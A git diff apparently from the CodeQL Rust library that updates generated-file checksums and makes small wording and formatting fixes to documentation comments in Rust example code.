lib/codeql/rust/elements/internal/generated/ParenPat.qll 24f9dc7fce75827d6fddb856cd48f80168143151b27295c0bab6db5a06567a09 ebadbc6f5498e9ed754b39893ce0763840409a0721036a25b56e1ead7dcc09aa lib/codeql/rust/elements/internal/generated/ParenTypeRepr.qll 03f5c5b96a37adeb845352d7fcea3e098da9050e534972d14ac0f70d60a2d776 ed3d6e5d02086523087adebce4e89e35461eb95f2a66d1d4100fe23fc691b126 lib/codeql/rust/elements/internal/generated/ParentChild.qll e2c6aaaa1735113f160c0e178d682bff8e9ebc627632f73c0dd2d1f4f9d692a8 61cf70eb649f241e2fcd5e0ba34df63f3a14f07032811b9ae151721783a0fd20 @@ -593,7 +593,7 @@ lib/codeql/rust/elements/internal/generated/PtrTypeRepr.qll 8d0ea4f6c7f8203340bf lib/codeql/rust/elements/internal/generated/PureSynthConstructors.qll e5b8e69519012bbaae29dcb82d53f7f7ecce368c0358ec27ef6180b228a0057f e5b8e69519012bbaae29dcb82d53f7f7ecce368c0358ec27ef6180b228a0057f lib/codeql/rust/elements/internal/generated/RangeExpr.qll 23cca03bf43535f33b22a38894f70d669787be4e4f5b8fe5c8f7b964d30e9027 18624cef6c6b679eeace2a98737e472432e0ead354cca02192b4d45330f047c9 lib/codeql/rust/elements/internal/generated/RangePat.qll 80826a6a6868a803aa2372e31c52a03e1811a3f1f2abdb469f91ca0bfdd9ecb6 34ee1e208c1690cba505dff2c588837c0cd91e185e2a87d1fe673191962276a9 -lib/codeql/rust/elements/internal/generated/Raw.qll ea65a886bb8915a6c58ef6bf9900e457ad54df50cd16d901415267703047b6a8 bad7285d4604640cb3165fe25365d7325134d7ecf32953021d90dcff4763bcad +lib/codeql/rust/elements/internal/generated/Raw.qll 55ec0031a67964805e9dfb8d3190385e101178d1bcce1c4efd53d8f58d1cf0be d34faae700e7c2cb9e6eb2183244ff900a270c761676491d3ffe6a939903edd7 lib/codeql/rust/elements/internal/generated/RefExpr.qll 7d995884e3dc1c25fc719f5d7253179344d63650e217e9ff6530285fe7a57f64 f2c3c12551deea4964b66553fb9b6423ee16fec53bd63db4796191aa60dc6c66 lib/codeql/rust/elements/internal/generated/RefPat.qll 456ede39837463ee22a630ec7ab6c8630d3664a8ea206fcc6e4f199e92fa564c 5622062765f32930465ba6b170e986706f159f6070f48adee3c20e24e8df4e05 lib/codeql/rust/elements/internal/generated/RefTypeRepr.qll 5b0663a6d234572fb3e467e276d019415caa95ef006438cc59b7af4e1783161e 0e27c8a8f0e323c0e4d6db01fca821bf07c0864d293cdf96fa891b10820c1e4b @@ -610,7 +610,7 @@ lib/codeql/rust/elements/internal/generated/SourceFile.qll 4bc95c88b49868d1da1a8 lib/codeql/rust/elements/internal/generated/Static.qll 34a4cdb9f4a93414499a30aeeaad1b3388f2341c982af5688815c3b0a0e9c57b 3c8354336eff68d580b804600df9abf49ee5ee10ec076722089087820cefe731 lib/codeql/rust/elements/internal/generated/Stmt.qll 8473ff532dd5cc9d7decaddcd174b94d610f6ca0aec8e473cc051dad9f3db917 6ef7d2b5237c2dbdcacbf7d8b39109d4dc100229f2b28b5c9e3e4fbf673ba72b lib/codeql/rust/elements/internal/generated/StmtList.qll 816aebf8f56e179f5f0ba03e80d257ee85459ea757392356a0af6dbd0cd9ef5e 6aa51cdcdc8d93427555fa93f0e84afdfbbd4ffc8b8d378ae4a22b5b6f94f48b -lib/codeql/rust/elements/internal/generated/Struct.qll a84ffac73686806abe36ba1d3ba5ada479813e8c2cb89b9ac50889b4fa14e0a5 0c27cc91de44878f45f516ec1524e085e6a0cc94809b4c7d1b4ef3db2967341e +lib/codeql/rust/elements/internal/generated/Struct.qll 955c7e1e6453685fbc392e32514cf26a9aec948cecf9e62705ddc5c56c9dc97d cf47a9c53eebc0c7165985cd6120530b8a0fe965895d2293d01f7b95013c0102 lib/codeql/rust/elements/internal/generated/StructExpr.qll c6d861eaa0123b103fd9ffd2485423419ef9b7e0b4af9ed2a2090d8ec534f65d 50da99ee44771e1239ed8919f711991dd3ec98589fbe49b49b68c88074a07d74 lib/codeql/rust/elements/internal/generated/StructExprField.qll 6bdc52ed325fd014495410c619536079b8c404e2247bd2435aa7685dd56c3833 501a30650cf813176ff325a1553da6030f78d14be3f84fea6d38032f4262c6b0 lib/codeql/rust/elements/internal/generated/StructExprFieldList.qll 298d33442d1054922d2f97133a436ee559f1f35b7708523284d1f7eee7ebf443 7febe38a79fadf3dcb53fb8f8caf4c2780f5df55a1f8336269c7b674d53c6272 @@ -622,7 +622,7 @@ lib/codeql/rust/elements/internal/generated/StructPatFieldList.qll 1a95a1bd9f64f lib/codeql/rust/elements/internal/generated/Synth.qll eb248f4e57985ec8eabf9ed5cfb8ba8f5ebd6ca17fb712c992811bced0e342d4 bbcbdba484d3b977a0d6b9158c5fa506f59ced2ad3ae8239d536bf826bfb7e31 lib/codeql/rust/elements/internal/generated/SynthConstructors.qll bcc7f617b775ac0c7f04b1cc333ed7cc0bd91f1fabc8baa03c824d1df03f6076 bcc7f617b775ac0c7f04b1cc333ed7cc0bd91f1fabc8baa03c824d1df03f6076 lib/codeql/rust/elements/internal/generated/Token.qll 77a91a25ca5669703cf3a4353b591cef4d72caa6b0b9db07bb9e005d69c848d1 2fdffc4882ed3a6ca9ac6d1fb5f1ac5a471ca703e2ffdc642885fa558d6e373b -lib/codeql/rust/elements/internal/generated/TokenTree.qll a90ee34bfd9fa0e652ea293f2bc924a7b775698db2430f6c4ab94acce54bb4ca 3951509ad9c769eacc78a7ed978e91c6de79fc7d106206ebd0290b4a490ab4c5 +lib/codeql/rust/elements/internal/generated/TokenTree.qll 1a3c4f5f30659738641abdd28cb793dab3cfde484196b59656fc0a2767e53511 de2ebb210c7759ef7a6f7ee9f805e1cac879221287281775fc80ba34a5492edf lib/codeql/rust/elements/internal/generated/Trait.qll 8fa41b50fa0f68333534f2b66bb4ec8e103ff09ac8fa5c2cc64bc04beafec205 ce1c9aa6d0e2f05d28aab8e1165c3b9fb8e24681ade0cf6a9df2e8617abeae7e lib/codeql/rust/elements/internal/generated/TraitAlias.qll 40a296cf89eceaf02a32db90acb42bdc90df10e717bae3ab95bc09d842360a5b af85cf1f8fa46a8b04b763cdcacc6643b83c074c58c1344e485157d2ceb26306 lib/codeql/rust/elements/internal/generated/TryExpr.qll 73052d7d309427a30019ad962ee332d22e7e48b9cc98ee60261ca2df2f433f93 d9dd70bf69eaa22475acd78bea504341e3574742a51ad9118566f39038a02d85 @@ -645,12 +645,12 @@ lib/codeql/rust/elements/internal/generated/Union.qll 0d5528d9331cc7599f0c7bc4d2 lib/codeql/rust/elements/internal/generated/Use.qll cf95b5c4756b25bee74113207786e37464ffbc0fb5f776a04c651300afc53753 1fe26b3904db510184cb688cb0eeb0a8dbac7ac15e27a3b572d839743c738393 lib/codeql/rust/elements/internal/generated/UseBoundGenericArg.qll 69162794e871291545ea04f61259b2d000671a96f7ca129f7dd9ed6e984067c4 31de9ebc0634b38e2347e0608b4ea888892f1f2732a2892464078cd8a07b4ee8 lib/codeql/rust/elements/internal/generated/UseBoundGenericArgs.qll 2cc8ab0068b7bf44ca17a62b32a8dd1d89cd743532c8a96b262b164fd81b0c36 347e7709a0f5ace197beb6827f6cf04a31ff68ff2dff3707914c6b910658d00a -lib/codeql/rust/elements/internal/generated/UseTree.qll 4e9ee129b4d2007143321185dd3d0633afa8002778a4b908928ee415c6663d31 bf6d3403e483b1bd6ceb269c05d6460327f61dd9b28022f1d95f9e9c9b893c27 -lib/codeql/rust/elements/internal/generated/UseTreeList.qll 592187a0e131e92ebec9630b4043766511e6146ef1811762b4a65f7c48e2a591 331eeacf1fff6f4150adda197ed74cbf43ce1d19206105a6b7ee58875c8ef4f5 +lib/codeql/rust/elements/internal/generated/UseTree.qll 3d7cbcc8ae76068b8f660c7d5b81b05595026043015cd6b4d42a60ed4c165811 b9f0bcf82feb31f31406e787670fee93e1aa0966bcc0e4cc285c342e88793e4e +lib/codeql/rust/elements/internal/generated/UseTreeList.qll 38efaa569b76ca79be047703279388e8f64583a126b98078fbbb6586e0c6eb56 1623a50fd2d3b1e4b85323ad73dd655172f7cbc658d3506aaa6b409e9ebe576e lib/codeql/rust/elements/internal/generated/Variant.qll 56ef12f3be672a467b443f8e121ba075551c88fe42dd1428e6fa7fc5affb6ec2 fd66722fd401a47305e0792458528a6af2437c97355a6a624727cf6632721a89 lib/codeql/rust/elements/internal/generated/VariantDef.qll 3a579b21a13bdd6be8cddaa43a6aa0028a27c4e513caa003a6304e160fc53846 1ca1c41ed27660b17fbfb44b67aa8db087ea655f01bac29b57bb19fa259d07a2 lib/codeql/rust/elements/internal/generated/VariantList.qll 3f70bfde982e5c5e8ee45da6ebe149286214f8d40377d5bc5e25df6ae8f3e2d1 22e5f428bf64fd3fd21c537bfa69a46089aad7c363d72c6566474fbe1d75859e -lib/codeql/rust/elements/internal/generated/Visibility.qll d1e46025a2c36f782c3b4ec06ad6a474d39d192b77ebf0dfced178dc2ca439b6 61fc3276a394b4a201f7d59f5ddf24850612546ce4041c3204a80d3db3d99662 +lib/codeql/rust/elements/internal/generated/Visibility.qll af1069733c0120fae8610b3ebbcdcebe4b4c9ce4c3e3d9be3f82a93541873625 266106bdff4d7041d017871d755c011e7dd396c5999803d9e46725b6a03a2458 lib/codeql/rust/elements/internal/generated/WhereClause.qll aec72d358689d99741c769b6e8e72b92c1458138c097ec2380e917aa68119ff0 81bb9d303bc0c8d2513dc7a2b8802ec15345b364e6c1e8b300f7860aac219c36 lib/codeql/rust/elements/internal/generated/WherePred.qll 9aa63abdf1202ee4708e7413401811d481eac55ba576a4950653395f931d1e90 ebb9f2883f811ea101220eac13d02d2893d2ec0231a29826a32b77cb2c88a5f8 lib/codeql/rust/elements/internal/generated/WhileExpr.qll 0353aab87c49569e1fbf5828b8f44457230edfa6b408fb5ec70e3d9b70f2e277 e1ba7c9c41ff150b9aaa43642c0714def4407850f2149232260c1a2672dd574a diff --git a/rust/ql/lib/codeql/rust/controlflow/internal/generated/CfgNodes.qll b/rust/ql/lib/codeql/rust/controlflow/internal/generated/CfgNodes.qll index 39daeb791fe6..cfa37ed45394 100644 --- a/rust/ql/lib/codeql/rust/controlflow/internal/generated/CfgNodes.qll +++ b/rust/ql/lib/codeql/rust/controlflow/internal/generated/CfgNodes.qll @@ -1833,7 +1833,6 @@ module MakeCfgNodes Input> { * For example: * ```rust * println!("Hello, world!"); - * //^^^^^^^ * ``` */ final class MacroCallCfgNode extends CfgNodeFinal { diff --git a/rust/ql/lib/codeql/rust/elements/ForTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/ForTypeRepr.qll index ab0129ed0e07..c52c92197bbb 100644 --- a/rust/ql/lib/codeql/rust/elements/ForTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/ForTypeRepr.qll @@ -8,7 +8,7 @@ import codeql.rust.elements.GenericParamList import codeql.rust.elements.TypeRepr /** - * A higher-ranked trait bound(HRTB) type. + * A higher-ranked trait bound. * * For example: * ```rust diff --git a/rust/ql/lib/codeql/rust/elements/MacroCall.qll b/rust/ql/lib/codeql/rust/elements/MacroCall.qll index a458a201f61d..7b8a591bb62e 100644 --- a/rust/ql/lib/codeql/rust/elements/MacroCall.qll +++ b/rust/ql/lib/codeql/rust/elements/MacroCall.qll @@ -18,7 +18,6 @@ import codeql.rust.elements.TokenTree * For example: * ```rust * println!("Hello, world!"); - * //^^^^^^^ * ``` */ final class MacroCall = Impl::MacroCall; diff --git a/rust/ql/lib/codeql/rust/elements/NameRef.qll b/rust/ql/lib/codeql/rust/elements/NameRef.qll index 2fdd25ae089d..0ca979140ae2 100644 --- a/rust/ql/lib/codeql/rust/elements/NameRef.qll +++ b/rust/ql/lib/codeql/rust/elements/NameRef.qll @@ -11,7 +11,7 @@ import codeql.rust.elements.UseBoundGenericArg * * For example: * ```rust - * foo(); + * foo(); * //^^^ * ``` */ diff --git a/rust/ql/lib/codeql/rust/elements/ParenExpr.qll b/rust/ql/lib/codeql/rust/elements/ParenExpr.qll index f3d9936a97d1..1233ac2b6af2 100644 --- a/rust/ql/lib/codeql/rust/elements/ParenExpr.qll +++ b/rust/ql/lib/codeql/rust/elements/ParenExpr.qll @@ -13,7 +13,6 @@ import codeql.rust.elements.Expr * For example: * ```rust * (x + y) - * //^^^^^ * ``` */ final class ParenExpr = Impl::ParenExpr; diff --git a/rust/ql/lib/codeql/rust/elements/Struct.qll b/rust/ql/lib/codeql/rust/elements/Struct.qll index 19f81db74e67..9b57316e0ec6 100644 --- a/rust/ql/lib/codeql/rust/elements/Struct.qll +++ b/rust/ql/lib/codeql/rust/elements/Struct.qll @@ -17,7 +17,7 @@ import codeql.rust.elements.WhereClause * A Struct. For example: * ```rust * struct Point { - * x: i32, + * x: i32, * y: i32, * } * ``` diff --git a/rust/ql/lib/codeql/rust/elements/TokenTree.qll b/rust/ql/lib/codeql/rust/elements/TokenTree.qll index de34cbc112e5..19c3901eda05 100644 --- a/rust/ql/lib/codeql/rust/elements/TokenTree.qll +++ b/rust/ql/lib/codeql/rust/elements/TokenTree.qll @@ -14,9 +14,9 @@ import codeql.rust.elements.AstNode * println!("{} {}!", "Hello", "world"); * // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ * ``` - * ``` + * ```rust * macro_rules! foo { ($x:expr) => { $x + 1 }; } - * // ^^^^^^^^^^^^^^^^^^^^^^^ + * // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ * ``` */ final class TokenTree = Impl::TokenTree; diff --git a/rust/ql/lib/codeql/rust/elements/UseTree.qll b/rust/ql/lib/codeql/rust/elements/UseTree.qll index 049931c1648a..fe483cb0d05f 100644 --- a/rust/ql/lib/codeql/rust/elements/UseTree.qll +++ b/rust/ql/lib/codeql/rust/elements/UseTree.qll @@ -10,7 +10,7 @@ import codeql.rust.elements.Rename import codeql.rust.elements.UseTreeList /** - * A `use` tree, ie the part after the `use` keyword in a `use` statement. For example: + * A `use` tree, that is, the part after the `use` keyword in a `use` statement. For example: * ```rust * use std::collections::HashMap; * use std::collections::*; diff --git a/rust/ql/lib/codeql/rust/elements/UseTreeList.qll b/rust/ql/lib/codeql/rust/elements/UseTreeList.qll index 7c4c5977aec3..dc44daf39146 100644 --- a/rust/ql/lib/codeql/rust/elements/UseTreeList.qll +++ b/rust/ql/lib/codeql/rust/elements/UseTreeList.qll @@ -13,7 +13,7 @@ import codeql.rust.elements.UseTree * For example: * ```rust * use std::{fs, io}; - * // ^^^^^^^ + * // ^^^^^^^^ * ``` */ final class UseTreeList = Impl::UseTreeList; diff --git a/rust/ql/lib/codeql/rust/elements/Visibility.qll b/rust/ql/lib/codeql/rust/elements/Visibility.qll index 5562c1b3d73b..9fd60b6ba27c 100644 --- a/rust/ql/lib/codeql/rust/elements/Visibility.qll +++ b/rust/ql/lib/codeql/rust/elements/Visibility.qll @@ -12,7 +12,7 @@ import codeql.rust.elements.Path * * For example: * ```rust - * pub struct S; + * pub struct S; * //^^^ * ``` */ diff --git a/rust/ql/lib/codeql/rust/elements/internal/ForTypeReprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ForTypeReprImpl.qll index 79700085b941..f555c6649636 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ForTypeReprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ForTypeReprImpl.qll @@ -13,7 +13,7 @@ private import codeql.rust.elements.internal.generated.ForTypeRepr */ module Impl { /** - * A higher-ranked trait bound(HRTB) type. + * A higher-ranked trait bound. * * For example: * ```rust diff --git a/rust/ql/lib/codeql/rust/elements/internal/MacroCallImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/MacroCallImpl.qll index dacb8b3a7077..cac1d71dd1e1 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/MacroCallImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/MacroCallImpl.qll @@ -27,7 +27,6 @@ module Impl { * For example: * ```rust * println!("Hello, world!"); - * //^^^^^^^ * ``` */ class MacroCall extends Generated::MacroCall { diff --git a/rust/ql/lib/codeql/rust/elements/internal/NameRefImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/NameRefImpl.qll index 8f7260bfd08f..d42c416ed172 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/NameRefImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/NameRefImpl.qll @@ -17,7 +17,7 @@ module Impl { * * For example: * ```rust - * foo(); + * foo(); * //^^^ * ``` */ diff --git a/rust/ql/lib/codeql/rust/elements/internal/ParenExprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ParenExprImpl.qll index e86589b60405..e8c800bc9b8c 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ParenExprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ParenExprImpl.qll @@ -18,7 +18,6 @@ module Impl { * For example: * ```rust * (x + y) - * //^^^^^ * ``` */ class ParenExpr extends Generated::ParenExpr { diff --git a/rust/ql/lib/codeql/rust/elements/internal/StructImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/StructImpl.qll index 157ffe0b034c..3b6fc1ee4ea6 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/StructImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/StructImpl.qll @@ -17,7 +17,7 @@ module Impl { * A Struct. For example: * ```rust * struct Point { - * x: i32, + * x: i32, * y: i32, * } * ``` diff --git a/rust/ql/lib/codeql/rust/elements/internal/TokenTreeImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/TokenTreeImpl.qll index c785371f999d..15e9c15abe12 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/TokenTreeImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/TokenTreeImpl.qll @@ -20,9 +20,9 @@ module Impl { * println!("{} {}!", "Hello", "world"); * // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ * ``` - * ``` + * ```rust * macro_rules! foo { ($x:expr) => { $x + 1 }; } - * // ^^^^^^^^^^^^^^^^^^^^^^^ + * // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ * ``` */ class TokenTree extends Generated::TokenTree { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/UseTreeImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/UseTreeImpl.qll index 6b42cb6fa894..027174e5994e 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/UseTreeImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/UseTreeImpl.qll @@ -13,7 +13,7 @@ private import codeql.rust.elements.internal.generated.UseTree module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A `use` tree, ie the part after the `use` keyword in a `use` statement. For example: + * A `use` tree, that is, the part after the `use` keyword in a `use` statement. For example: * ```rust * use std::collections::HashMap; * use std::collections::*; diff --git a/rust/ql/lib/codeql/rust/elements/internal/UseTreeListImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/UseTreeListImpl.qll index dff1bb12233d..d5f86f1ba3a7 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/UseTreeListImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/UseTreeListImpl.qll @@ -18,7 +18,7 @@ module Impl { * For example: * ```rust * use std::{fs, io}; - * // ^^^^^^^ + * // ^^^^^^^^ * ``` */ class UseTreeList extends Generated::UseTreeList { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/VisibilityImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/VisibilityImpl.qll index 356d3f11d041..21de0c88ca8c 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/VisibilityImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/VisibilityImpl.qll @@ -17,7 +17,7 @@ module Impl { * * For example: * ```rust - * pub struct S; + * pub struct S; * //^^^ * ``` */ diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ForTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ForTypeRepr.qll index c7dc7380c3c4..cbe2975bf509 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ForTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ForTypeRepr.qll @@ -16,7 +16,7 @@ import codeql.rust.elements.internal.TypeReprImpl::Impl as TypeReprImpl */ module Generated { /** - * A higher-ranked trait bound(HRTB) type. + * A higher-ranked trait bound. * * For example: * ```rust diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/MacroCall.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/MacroCall.qll index 4b4b1707e543..94b9c13e789c 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/MacroCall.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/MacroCall.qll @@ -25,7 +25,6 @@ module Generated { * For example: * ```rust * println!("Hello, world!"); - * //^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::MacroCall` class directly. * Use the subclass `MacroCall`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/NameRef.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/NameRef.qll index 5835c078827c..f22dbdf5e228 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/NameRef.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/NameRef.qll @@ -18,7 +18,7 @@ module Generated { * * For example: * ```rust - * foo(); + * foo(); * //^^^ * ``` * INTERNAL: Do not reference the `Generated::NameRef` class directly. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ParenExpr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ParenExpr.qll index 12b018506fb5..560398ca7f29 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ParenExpr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ParenExpr.qll @@ -21,7 +21,6 @@ module Generated { * For example: * ```rust * (x + y) - * //^^^^^ * ``` * INTERNAL: Do not reference the `Generated::ParenExpr` class directly. * Use the subclass `ParenExpr`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Raw.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Raw.qll index 6c49996707d7..c5344d351d4a 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Raw.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Raw.qll @@ -1184,9 +1184,9 @@ module Raw { * println!("{} {}!", "Hello", "world"); * // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ * ``` - * ``` + * ```rust * macro_rules! foo { ($x:expr) => { $x + 1 }; } - * // ^^^^^^^^^^^^^^^^^^^^^^^ + * // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ * ``` */ class TokenTree extends @token_tree, AstNode { @@ -1319,7 +1319,7 @@ module Raw { /** * INTERNAL: Do not use. - * A `use` tree, ie the part after the `use` keyword in a `use` statement. For example: + * A `use` tree, that is, the part after the `use` keyword in a `use` statement. For example: * ```rust * use std::collections::HashMap; * use std::collections::*; @@ -1358,7 +1358,7 @@ module Raw { * For example: * ```rust * use std::{fs, io}; - * // ^^^^^^^ + * // ^^^^^^^^ * ``` */ class UseTreeList extends @use_tree_list, AstNode { @@ -1400,7 +1400,7 @@ module Raw { * * For example: * ```rust - * pub struct S; + * pub struct S; * //^^^ * ``` */ @@ -2252,7 +2252,7 @@ module Raw { /** * INTERNAL: Do not use. - * A higher-ranked trait bound(HRTB) type. + * A higher-ranked trait bound. * * For example: * ```rust @@ -2799,7 +2799,7 @@ module Raw { * * For example: * ```rust - * foo(); + * foo(); * //^^^ * ``` */ @@ -2895,7 +2895,6 @@ module Raw { * For example: * ```rust * (x + y) - * //^^^^^ * ``` */ class ParenExpr extends @paren_expr, Expr { @@ -4008,7 +4007,6 @@ module Raw { * For example: * ```rust * println!("Hello, world!"); - * //^^^^^^^ * ``` */ class MacroCall extends @macro_call, AssocItem, ExternItem, Item { @@ -4264,7 +4262,7 @@ module Raw { * A Struct. For example: * ```rust * struct Point { - * x: i32, + * x: i32, * y: i32, * } * ``` diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Struct.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Struct.qll index fdd28cb8de75..6776d9a80072 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Struct.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Struct.qll @@ -24,7 +24,7 @@ module Generated { * A Struct. For example: * ```rust * struct Point { - * x: i32, + * x: i32, * y: i32, * } * ``` diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/TokenTree.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/TokenTree.qll index bd30d475a268..258a730ec643 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/TokenTree.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/TokenTree.qll @@ -21,9 +21,9 @@ module Generated { * println!("{} {}!", "Hello", "world"); * // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ * ``` - * ``` + * ```rust * macro_rules! foo { ($x:expr) => { $x + 1 }; } - * // ^^^^^^^^^^^^^^^^^^^^^^^ + * // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::TokenTree` class directly. * Use the subclass `TokenTree`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/UseTree.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/UseTree.qll index f7cd7533582b..7279c4e9c44f 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/UseTree.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/UseTree.qll @@ -17,7 +17,7 @@ import codeql.rust.elements.UseTreeList */ module Generated { /** - * A `use` tree, ie the part after the `use` keyword in a `use` statement. For example: + * A `use` tree, that is, the part after the `use` keyword in a `use` statement. For example: * ```rust * use std::collections::HashMap; * use std::collections::*; diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/UseTreeList.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/UseTreeList.qll index fa45430d09bf..bb21ec82936f 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/UseTreeList.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/UseTreeList.qll @@ -20,7 +20,7 @@ module Generated { * For example: * ```rust * use std::{fs, io}; - * // ^^^^^^^ + * // ^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::UseTreeList` class directly. * Use the subclass `UseTreeList`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Visibility.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Visibility.qll index 0bffcca7b063..340f53af63c9 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Visibility.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Visibility.qll @@ -19,7 +19,7 @@ module Generated { * * For example: * ```rust - * pub struct S; + * pub struct S; * //^^^ * ``` * INTERNAL: Do not reference the `Generated::Visibility` class directly. diff --git a/rust/ql/test/extractor-tests/generated/.generated_tests.list b/rust/ql/test/extractor-tests/generated/.generated_tests.list index 53bb0fdc74f2..a4fab823b031 100644 --- a/rust/ql/test/extractor-tests/generated/.generated_tests.list +++ b/rust/ql/test/extractor-tests/generated/.generated_tests.list @@ -42,7 +42,7 @@ ExternItemList/gen_extern_item_list.rs f9a03ddf20387871b96994915c9a725feb333d061 FieldExpr/gen_field_expr.rs 9a70500d592e0a071b03d974a55558b3bc0df531ff11bce5898feb36e17ffd8b 9a70500d592e0a071b03d974a55558b3bc0df531ff11bce5898feb36e17ffd8b FnPtrTypeRepr/gen_fn_ptr_type_repr.rs c154ec0cc43236d133f6b946374f3063b89e5cbf9e96d9ee66877be4f948888e c154ec0cc43236d133f6b946374f3063b89e5cbf9e96d9ee66877be4f948888e ForExpr/gen_for_expr.rs 003dc36e3dc4db6e3a4accd410c316f14334ba5b3d5d675c851a91dcd5185122 003dc36e3dc4db6e3a4accd410c316f14334ba5b3d5d675c851a91dcd5185122 -ForTypeRepr/gen_for_type_repr.rs 387b8e7bb9d548e822e5e62b29774681e39fb816f3f42f951674e98fc542f667 387b8e7bb9d548e822e5e62b29774681e39fb816f3f42f951674e98fc542f667 +ForTypeRepr/gen_for_type_repr.rs 86f2f11f399d8072add3d3109a186d82d95d141660b18986bce738b7e9ec81a2 86f2f11f399d8072add3d3109a186d82d95d141660b18986bce738b7e9ec81a2 FormatArgsExpr/gen_format.rs e9d8e7b98d0050ad6053c2459cb21faab00078e74245336a5962438336f76d33 e9d8e7b98d0050ad6053c2459cb21faab00078e74245336a5962438336f76d33 FormatArgsExpr/gen_format_args_arg.rs 53ffd6abe4cd899c57d1973b31df0edc1d5eaa5835b19172ec4cda15bb3db28f 53ffd6abe4cd899c57d1973b31df0edc1d5eaa5835b19172ec4cda15bb3db28f FormatArgsExpr/gen_format_args_expr.rs 72c806ed163e9dcce2d0c5c8664d409b2aa635c1022c91959f9e8ae084f05bf2 72c806ed163e9dcce2d0c5c8664d409b2aa635c1022c91959f9e8ae084f05bf2 @@ -68,7 +68,7 @@ LiteralExpr/gen_literal_expr.rs 2db01ad390e5c0c63a957c043230a462cb4cc25715eea6ed LiteralPat/gen_literal_pat.rs a471b481b6989001817a3988696f445d9a4dea784e543c346536dacbee1e96f3 a471b481b6989001817a3988696f445d9a4dea784e543c346536dacbee1e96f3 LoopExpr/gen_loop_expr.rs 35deaf35e765db4ae3124a11284266d8f341d1ce7b700030efada0dda8878619 35deaf35e765db4ae3124a11284266d8f341d1ce7b700030efada0dda8878619 MacroBlockExpr/gen_macro_block_expr.rs 2e45dcf44bf2e8404b49ce9abeee4931572693174b5d96f3fd81eb40ea8e7b4b 